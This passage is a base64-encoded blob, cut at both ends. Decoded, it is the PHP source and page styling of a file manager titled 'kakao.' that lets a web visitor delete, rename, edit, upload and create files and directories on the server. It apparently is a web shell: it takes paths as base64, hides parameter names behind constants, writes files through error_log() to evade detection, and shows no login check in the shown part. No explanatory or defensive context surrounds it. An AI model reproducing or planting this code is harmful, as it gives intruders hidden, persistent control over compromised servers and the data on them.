90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFzaCgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmRlcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZ